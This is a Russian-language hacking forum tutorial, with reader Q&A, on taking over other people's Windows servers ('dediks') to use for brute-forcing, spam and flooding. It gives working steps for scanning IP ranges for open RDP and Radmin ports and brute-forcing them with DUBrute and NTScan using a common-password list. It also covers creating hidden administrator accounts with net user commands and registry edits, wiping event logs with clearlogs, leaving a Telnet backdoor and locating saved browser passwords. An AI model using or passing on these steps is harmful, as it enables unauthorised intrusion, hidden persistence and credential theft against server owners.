Часть 1. Учимся добывать дедик!

Уроки по дедику:
1. Вход на удаленный сервер
2. Создание учетной записи
3. Прячем учетную запись
4. Тест на скорость и страну
5. Защита от сбручивания

Уроки в ОТЛИЧНОМ качестве, со звуковым поиснение. Все понятно и все просто, посмотрев это видео Вы без труда повторите все что Вам будет показано в видеоуроках. После этого видео всем захочется попробовать самим заиметь свой собственный дедик. Так все просто и понятно в этом видео, что поймет даже ребенок.
Качаем здесь:
СКАЧАТЬ ВИДЕОУРОКИ

Все проги представленные здесь можно скачать одним архивом здесь : АРХИВ

В этой теме учимся все вместе, спрашиваем, советуем, пробуем. Тема объемная и имеет много способов удаленного проникновения.

Что такое Dedicated servers и как его добыть.

Что такое Dedicated servers (далее именуемый просто дедик) и для чего он нужен?
В этой статье я постараюсь объяснить, что это такое и как нарыть его себе в просторах инета.
Те кто уже знает что такое дедик, нового тут ничего для себя не найдет, статья предназначена для новичков.
И так…
ЧТО ТАКОЕ Dedicated Servers?
Дедик - пошло от английского слова "dedicated", что означает выделенный. Полное название - Dedicated Server, что означает выделенный сервер. Служат они для обработки данных, хранения различного материала, и т.д... Дедик это удалённый сервер (компьютер), который включен 24 часа в сутки. Так же они имеют довольно мощные сетевые ресурсы, и конфигурацию.
Для чего они нужны? Чем они полезны?
Применяют их для разных целей для брута, спама, флуда... Короче для того что требует больших ресурсов и много времени.
Для чего они нужны? Например:
Захотели Вы взломать почту с помощью брута, но желания это делать на своем компьютере у Вас нет, так как придётся надолго оставлять комп включенным, или твой комп просто слабенький, да и инет, ни к черту. Что делать?
Правильно, для этого есть дедик, зашел на него, залил всё нужное и поставил брутить, вышел из дедика, выключил свой комп, а сам пошел спать или гулять. А брут пашет! Потом включил комп, зашел на дедик, забрал удачно сбрученную почту, и все дела!
Удобно, не правда ли? Вот в этом дедики и полезны.
Как подключится к дедику?
Подключиться к дедику можно с помощью встроенного в ОС windows утилиты удаленного доступа через порт (3389 порт): Подключение к удаленному рабочему столу. Пуск => Программы => Стандартные => Связь => Подключение к удаленному рабочему столу. Можно еще так: Пуск => Выполнить => mstsc. Просто запусти ее и вводи ip адрес дедика. Можно еще Радмином юзать дедик, если он установлен на дедике.

На что требуется обращать внимание при выборе дедика?

Канал, Память(RAM), Камень (процессор), ОС. Вот примеры:
Цитата:Intel(R) Pentium(R) 4 CPU 2.80GHz, 3.00 GB of RAM\2003 os\1 gb
Intel(R) Pentium(R) 4 CPU 3.20GHz, 2.00 GB of RAM\2003 os\100 mb
Intel(R) Xeon(TM) CPU 3.06GHz\3.80 GB of RAM\2003 os\100 mb

Где взять дедик?
Существуют 3 варианта:
1-Купить
2-Клянчить в халяве
3-Сбрутить, Взломать сервер
Первые 2 варианта нам не подходят, остаётся только вариант под номером 3,который мы  и рассмотрим ниже.
Сколько прослужит дедик?
Всё зависит от твоих действий и админов. Если ты будешь находиться на дедике соблюдая простые правила, то он прослужит долго.
Рассмотрим правила поведения на дедике:
-Ни чего не удаляй!
-Без ОСОБОЙ нужды нельзя к чужим учёткам
-Не храни файлы на рабочем столе, хранить все желательно в скрытой папке в C:Windows и глубже.
-Сильно не грузи дедик, что бы твои процессы не спалил админ.
-Сlearlogs или ClrLogs by DDM  - юзать после каждого использоввание дедика.
-Всегда закрывать программы, окна и т.д при выходе.
-И меньше делать системный ошибок, чтобы они не записывались в логах.

Какие порты сканировать?

TCP порты: 3389 - это порт, используемый программой Remote Desktop
Порт 4899, который используется радмином - программой Remote Administrator.

Есть дедик, как добавить нового юзера?

Пример работы ОС Windows 2000.
Открывай Administrative Tools => Computer Management => находим там вкладку Local Users and Groups => щёлкаем правой кнопкой мыши по вкладке Users => Create new user.
net user имя_пользователя /add
net start (stop) имя_службы,

В чем проблема, не могу подключиться к дедику, хотя раньше подключался?
Ты засветился и твой аккаунт удалил админ, или дедик отключили от инета.

А где можно узнавать диапазоны ip?

Во первых у нас на форуме здесь: Диапазоны IP адресов/

Чтобы очистить логи надо зайти меню-выполнить-cmd-claerlogs! Всё правильно?

НЕТ, для начало его надо залить на дедик сам clearlogs. Пуск=>Выполнить=>cmd=>cd\=> потом указываешь папку где находиться сам софт=> clearlogs.exe вылелит help . .=> дальше указываешь какие именно логи чистить.
clearlogs - палится как логвайпер. . .

Как залить файлы на дедик?
Запаковать на своём компьютере весь нужный софт в один архив, и залей его на любой файлообменник (например, DepositFiles.com),Скопируй ссылку для скачивания, заходи на дедик, запускай там браузер, переходи по ссылке для скачивания, и скачивай свой софт на дедик.
Ну вот, вы узнали о том, что такое дедик, как себя на нём вести, теперь смело перейдём к следующему пункту.
ЧАСТЬ ВТОРАЯ - МАСКИРУЕМСЯ НА ДЕДИКЕ
Мы все знаем, злой  админ тоже не спит, так что нужно скрывать своё пребывание на дедике, если хотим сохранить его. Сейчас я вам расскажу о том, как скрыться от админа. Все по идее просто, но просто некоторым это делать лень, и на этом они и прокалываются.
И так, мы зашли на дедик, что дальше?
Для начало нам нужно создать свою учётную запись, иначе, как только придет админ он увидит, что творится в его учётке.
Создавать учётку мы будем через командную строку, так как это быстрее и удобнее. И так, приступим к созданию учётки:
Запускаем командную строку (Пуск > Выполнить > cmd.exe) и пишем в ней следующее:

net user Имя_пользователя пароль /add
net localgroup Administrators Имя_пользователя /add
net localgroup "Remote Desktop Users" Имя_пользователя /add
net accounts /maxpwage:unlimited

Теперь давайте разберём каждую команду:

net user Имя_пользователя пароль /add - Добавляет нового пользователя с указанным именем и паролем
net localgroup Administrators Имя_пользователя /add - Добавляет нужного пользователя к группе администраторов
net localgroup "Remote Desktop Users" Имя_пользователя /add - Добавляет нужного пользователя к группе удалённых пользоваелей
net accounts /maxpwage:unlimited - позволяет избежать истечения срока действия пароля (14 дней)

Например, если ты хочешь создать учётку с именем user и паролем password,то команды будут выглядеть так:

net user user password /add
net localgroup Administrators user /add
net localgroup "Remote Desktop Users" user /add
net accounts /maxpwage:unlimited

Так учётка создана. Теперь её нужно скрыть из винлогона, чтобы учётка не светилась среди других пользователей.
Для этого заходим в реестер (Пуск > Выполнить > regedit.exe) переходим в HKEY_LOCAL__MACHINE>SOFTWARE>Microsoft>WindowsNT>C urrentVersion>Winlogon>SpecialAccounts>UserList и создаём там новый параметр DWORD (правой кнопкой мыши, новый параметр DWORD) Называем этот параметр именем твоего аккаунта, и присваиваем ему численное значение 0.
Далее идём в C:Documents and Settings и скрываем там папку со своим акком со всеми подкаталогами и файлами. (Правой кнопкой мыши > свойства > ставим галочку на "скрытый" и жмём применить).
И ещё создайте для себя папку в C:WINDOWSsystem32 или же глубже, и тоже сделай её скрытой со всеми файлами папками и подкаталогами. Она тебе будет нужна для того чтобы хранить там все нужные тебе файлы.
Теперь у тебя есть скрытая учётка на дедике и папка, куда ты будешь пихать всё своё добро. Можешь смело дисконектится от дедика и заходить под своей учёткой.
Если на дедике стоит Win XP SP2 или SP3,то сразу после создания аккаунта, скачиваем на дедик вот этот патч для мультиюзерности установки попросит перезагрузить, жмем ДА и ребутимся чтобы мультиюзерность активировалась. И готово.
Как скрыть свою ученую запись?
Скачиваем прогу HideUserByDDM или прогу: HideUSER
Для более тщательного скрытия используем прогу: Sucker 1.0.1b
Установил прогу на дедике,как её скрыть?
Советуется на дедик этого не делать, а залить всё в установленном виде. Но если, же тебе всё таки взбрело в голову установить прогу на деде, то чтобы не было лишних проблем, нужно скрыть её из Add or Remove programms.
Делаем это так. Запускаем реестер, идём в HKEY_LOCAL_MACHINE>SOFTWARE>Microsoft>Windows>Curr entVersion>Uninstall,там ищем название программы, которую установили, и стираем все данные о проге. После этого нашу прогу видно не будет.
Вроде всё о маскировке для новичка. Теорию освоена, пора перейти к практике.
ЧАСТЬ ТРЕТЬЯ - ДОБЫВАЕМ СЕБЕ ДЕДИК
Весь процесс добывания дедиков состоит из двух этапов:
1-Сканирование диапазона на IP адреса с открытым 3389 или 4899 портом
2-Брут полученных IP адресов на указанные логины и пароли
Сложного тут ничего нет. И так, начнем...
1)Сканируем IP адреса
Можно простыми TCP/IP сканерами. Например:
Shared Resource Scanner
Скачиваем сканер. Я вам советую VNC сканер. Сам им пользуюсь.
Льём всё это на дедик, и пихаем в свою заранее созданную скрытую папку. (Напоминаю, делаем это всё под своей созданной учёткой)
Открываем сканер:
где <target> это флаги -i и -p , где -i это диапазон ИП – адресов в таком и только таком ввиде *-i 111.111.111.111-111.111.255.255* (Без звездочек естественно, цифры взяты от «балды»)
а -p это порт, например *-p 3389* или *-p 4899* или *-p 1,2,3,4,5,10-100,139,1000-2000*. Дальше идет <scantype> (Тип сканирования) Есть два варианта, это либо флаг -cT (TCP connect() ), либо флаг -vnc (Собственно и есть сканер VNC, как в названии) Дальше идут <option>, они же опции, вот какие есть : -v -vv -tc -tr -tt.
А теперь по порядку -v – verbose, -vv – hard verbose, -tc (Тайм аут коннекта) по дефолту 5 сек, -tr (тайм аут приема) по дефолту 8 сек, -tt (Время создания потока) по дефолту 1 Миллисекунда
Ну а теперь все сложим и получим к примеру vnc -i 123.123.123.123-123.123.123.124 -p 3389 -cT -T 1500 -vv -tc 3 -tr 5 -tt 2 . Но советую не мучиться со всеми этими опциями, а ставить проверенную схему
vnc -i 123.123.123.123-123.123.123.124 -p 3389 -cT -T 1500
Вы увидите чёрное окно командной строки, в котором пойдёт скан. Там где пишут FOUND, вы будете видеть, сколько IP адресов нашлось с открытым 3389 портом. Все эти IP сохраняются в текстовом блокноте в папке со сканером.
Или прогой NTSCAN.
Делает она следующее: при выборе диапазона она сканирует его на предмет простых паролей. Программа имеет неплохой выбор метода атаки, и вероятность взлома сервером с её помощью очень велика, так как админы часто ставят простые пароли к серверу, особенно на забугорных. Прога работает по принципу брута: посылает запрос на авторизацию на сервере и получает ответ от севера. В случае успешной авторизации выводит список серверов в нижней части программы. Скачиваем, выбираем диапазон сканирования и настраиваем программу для работы. Вписываем диапазон IP. Далее, HostFile - список хостов (я не использовал эту опцию), здесь можно создать файл с конкретными хостами и брутить конкретные хосты. Потоки я оставлял как есть: 50, Timeout - аналогично. ConnectShare - подключение к расширенным ресурсам. Можно выбирать метод атаки: IPCscan, SMBscan, WMIscan. Далее, "ping from host" - пинговать хосты, то есть проверка на живучесть хоста, перед попыткой атаки, чтобы не брутить в холостую мёртвые хосты. Scan host opened port - сканировать хосты с открытым портом 139, но так, же можно и изменить при желании. Speed - скорость работы брута (перебора паролей).

Время скана зависит от диапазона, который вы укажите.
Когда скан закончится, идем в папку со сканером, там текстовый документ, там будут уже отсканированные IP адреса с открытым 3389 или 4899 портом. Если мы откроем этот файл то увидим что, то на подобие этого:
79.126.36.8 :3389
79.126.36.9 :3389
79.126.36.10 :3389
79.126.36.11 :3389
и т.д...
2)Брутим полученные IP адреса
Настало время брутить. Брут, который мы будем использовать, будет DUBrute или RDP Brute  брут на дед.
В папке с брутом лежат два текстовых файла,logins.txt и pass.txt. Открываем файл logins.txt, и вписываем туда логины, на которые будем брутить:
administrator
admin
Можете указать всего лишь один логин, но с двумя есть вероятность набрутить большее количество дедиков.
Теперь откроем файл pass.txt, там указываем пароли, на которые будем брутить. Чем меньше укажем, тем быстрее будет идти Брут. Но опять же, если укажем больше, то больше вероятности сбрутить деда. Можете воспользоваться этими самыми распространенными пассами:
administrator
admin
adm
password
pass
passwd
pwd
qwerty
qwertyuiop
qwaszx
123
1234
12345
123456
12345678
12345678 9
1234567890
987654321
system
root
Сохраняем всё что получилось. Далее откроем файл brute_new.exe. Это и есть сам Брут. Теперь нужно его настроить. Там где написано "Scan metod" выбираем "No Scan!".В разделе "Brute",в поле "IP's on thread" вписываем число 40.
Теперь открываем блокнот, где лежит наш список просканированных IP адресов с открытым 3389 портом, выделяем все IP, копируем их, и в окне брута вставляем их в поле "Scanned IP List".
Если хотите чтоб каждый удачно сбрученный дедик приходил вам на ваш ICQ,в окне с брутом, в разделе "ICQ GOOD BOT",жмём "Setup",в появившимся окне мы указываем UIN с которого будут приходить удачные дедики (BOT UIN) И пароль от этого UIN'a (BOT pass).И в разделе master UIN вписываем UIN на который будет приходить всё добро. Жмём "Save",и запускаем бота нажимая кнопку "Start".
И так,у нас всё готово.Можно запускать брут.Кликаем на "Start BRUTE".
По окончанию, в окне брута смело кликаем на кнопку "Get Good" и забираем наши дедики.
Так же не забываем после того как брут закончил работу, нажать в окне брута на кнопку "CleanUp" чтобы отчистить весь мусор.
Впариваем Радмина.
После проникновения на дедик, так же можно залить ему Радмина, для лучшего упроавления (если конечно на дедике Радмина нет)
Проститать об этом можно здесь: Впариваем Радмина жертве

ЧАСТЬ ЧЕТВЁРТАЯ - ОБЩИЕ РЕКОМЕНДАЦИИ
Если у вас есть очень ценный дедик,и вам не хотелось бы по каким либо причинам его терять,то на всякий пожарный врубите на дедике службу Telnet (режим терминального доступа к системе),это будет как запасной ход.Этим вы добьётесь того что если дедик вдруг прикроют,то вы хотябы будете иметь чёрный ход к компу.
Рекомендуется иметь не одну а две учётки.Это на тот случай если админ вас просёк и накрыл вашу учётку с которой вы брутили,то у вас хоть будет на крайняк учётка с которой сможете забрать гуды.
Так если админ просёк что вы брутите на дедике,лучше с этого дедика больше не брутить.
Как упоминалось выше,настоятельно не рекомендуется сильно нагружать дедик.Максимум на 50% процессора.
Если админ увидит что он тока залогинился а проц нагружен,то он насторожится и есть вероятность что ты потеряешь дедик.
Как зайдёте на дедик,в поисковой системе Windows'a поискать файлы с именем good.txt,goods.txt...Ведь ты можешь не один там сидеть и брутить.Таким способом ты можешь найти гуды которые сбрутил другой брутер,но еще не забрал их,и будет тебе халява.Только не удаляй чужие гуды и их файлы,а то он поймёт что он тут не один и больше не будет там брутить.А так ты можешь дальше пользоваться халявой,и каждый раз забирать его гуды
IP диапозоны смотрим здесь:  Диапазоны IP адресов/
Логины и пароли находятся в архиве
Какие файлы воруем и чем открываем здесь:  Проги для поиска поролей
Ну вот и все.
Спасибо вам за ваше внимание,успехов вам и удачного брута!
Данная статья написана только для ознакомительных целей,и за использования этой статьи в плохих целях,я не отвечаю.
FAO
как сменить пасс на дедике
Самый простой способ:

Пуск - Выполнить - cmd

net user username password /add

**username - имя учетки
**password - новый пароль

помогите не могу зайти под мною созданной учёткай
создал скрыл потом пытаюсь войти пишем что логин или пароль неправильный и т.д
ещё не могу почистить логи качнул clearlogs.exe в папку WINWOWS ввожу в cmd
"C:\WINDOWS\clearlogs.exe"
пишет что такой команды не существует

Причина в кавычках ))

Вот что нужно писать:

C:\WINDOWS\clearlogs.exe -app
C:\WINDOWS\clearlogs.exe -sec
C:\WINDOWS\clearlogs.exe -sys

Сбрутил админскую учётку,создал себе юзера,в реестре подправил,сейчас нужно перезагрузить дедик,как это зделать??Пробовал через
cmd пишет типо неперегрузится,нжны какие то специальные опции..Ответьте пожалуйста оперативненько,пока админ не запалил.Ещё одно..
система ХР проффессионал,патч обязательно нужен?Я пробовал его запустить-"ошибка запуска файла".

ORIGINAL: dr_vice

Ещё вопрос:где и как настроить на деде(если это возможно)что бы при отключении проги продолжали работать?Есть один дед отличный(хоть и без прав),но при отключении все проги отключаются,это не админ,т.к. при повторном подключении проги,стоящие в автозапуске врубаются.Ощущение что работаешь с обычным компом,где при выходе всё отключается.

quote:

проблема в том, что при выходе через 5 мин вырубается сессия. Лечится так: (проверять всё).
1. My Computer - Правой кнопкой мыши - Manage - Local users and groups - Users - Твой акк - Правой кнопкой мыши - Properties - Вкладка Sessions - Везде должно стоять Never.
2. gpedit.msc - Computer... -Admini ...- Terminal Server... - смотришь, что сконфигурировано. или
3. tscc.msc - RDP - проверяй вкладки.
4. net accounts /forcelogoff:no
5. net accounts /maxpwage:unlimited
6. Start - Adm tools - term serv conf -connections -sessions:
снять первые 2 галки или active desktop -enable

в смысле не жалко?  =))

там веть палится мой IP.... =) он же в логах же...

а когда палится ip... как то не хорошо... =)

1.clearlogs - юзать после каждого использоввание дедика. 
2.НЕ создовать файлы, папки и т.д на робочем столе. 
3.Всегда закрывать программы, окна и т.д при выходе. 
4.И меньше делать системный ошибок чтобы они не записывались в логах.
5.Заливаем на дедик clearlogs.
6.Пуск=>Выполнить=>cmd=>cd\=>
потом указываешь папку где находиться сам софт=>
clearlogs.exe вылелит help . .=>
дальше указываешь какие именно логи чистить.
7.clearlogs - палится как логвайпер. . . hack tool

ну все таки.... как не люблю лишний раз палится.... просто не хочу...
как удалить следы, что я туда заходил?
скажите плиз = )

почистить логи
Пуск =>Выполнить=>cmd>путь к clearlogs -app 
напиши в гугле "Top 500 most passwords" выйдет Американский сайт и там будет топ 500 популярных паролей

Народ опишите пожалуйста в каких браузерах где хранятся пароли оч надо
Опера
C:\Documents and Settings\User\Application Data\Opera\Opera\profile\wand.dat
Мозила
C:\Documents and Settings\<windows>\Application Data\Mozilla\Firefox\Profiles\<profile>\ или %APPDATA%\Mozilla\Firefox\Profiles\<profile>\
chrome